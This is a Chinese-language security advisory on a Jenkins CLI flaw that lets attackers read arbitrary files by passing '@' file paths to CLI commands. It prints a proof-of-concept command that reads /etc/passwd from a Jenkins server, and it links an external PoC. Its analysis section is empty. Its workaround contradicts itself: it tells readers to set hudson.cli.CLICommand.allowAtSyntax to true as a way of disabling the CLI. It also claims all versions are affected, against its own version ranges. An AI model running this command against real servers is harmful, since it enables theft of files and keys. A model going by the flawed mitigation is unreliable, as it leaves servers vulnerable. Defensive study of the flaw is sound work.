一、软件背景

Jenkins是一个流行的开源持续集成(CI)和持续交付(CD)工具,它可以帮助团队自动化软件开发中的各种任务和流程,从而提高效率和质量。

二、漏洞简述

Jenkins CLI 是 Jenkins 内置的命令行页面。

Jenkins 受影响版本中使用 args4j 库解析CLI命令参数,该库默认将参数中 @ 字符后的文件路径替换为文件内容,攻击者可利用该特性使用 Jenkins 控制器进程的默认字符编码读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进制文件),并结合 Resource Root URL、Remember me cookie、存储型 XSS 或 CSRF 等在 Jenkins 控制器中执行任意代码。

Jenkins 2.442, LTS 2.426.3 版本通过禁用命令解析器读取 @ 字符后文件路径的特性修复此漏洞。

三、漏洞版本

org.jenkins-ci.main:jenkins-core@(-∞, 2.442)

jenkins@(-∞, 2.442)

jenkins lts@(-∞, 2.426.3)

jenkins@影响所有版本

四、漏洞分析

五、漏洞测试

此漏洞需要使用到jenkins-cli.jar。读者可以从任意Jenkins网页地址下载:  http://jenkins:8080//jnlpJars/jenkins-cli.jar

根据社区公布的poc:

https://twitter.com/shoucccc/status/1750601321831633026

最终使用命令如下:

java -jar jenkins-cli.jar -s http://jenkins:8080/ connect-node "@/etc/passwd"

注意:jenkins web在没有权限的情况下,文件会读取不全面。

六、漏洞修复

将 org.jenkins-ci.main:jenkins-core 升级至 2.442 及以上版本

禁用Jenkins CLI:设置 Java 系统属性 hudson.cli.CLICommand.allowAtSyntax 为 true

将 jenkins 升级至 2.442 及以上版本

将组件 jenkins lts 升级至 2.426.3 及以上版本

精彩文章

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: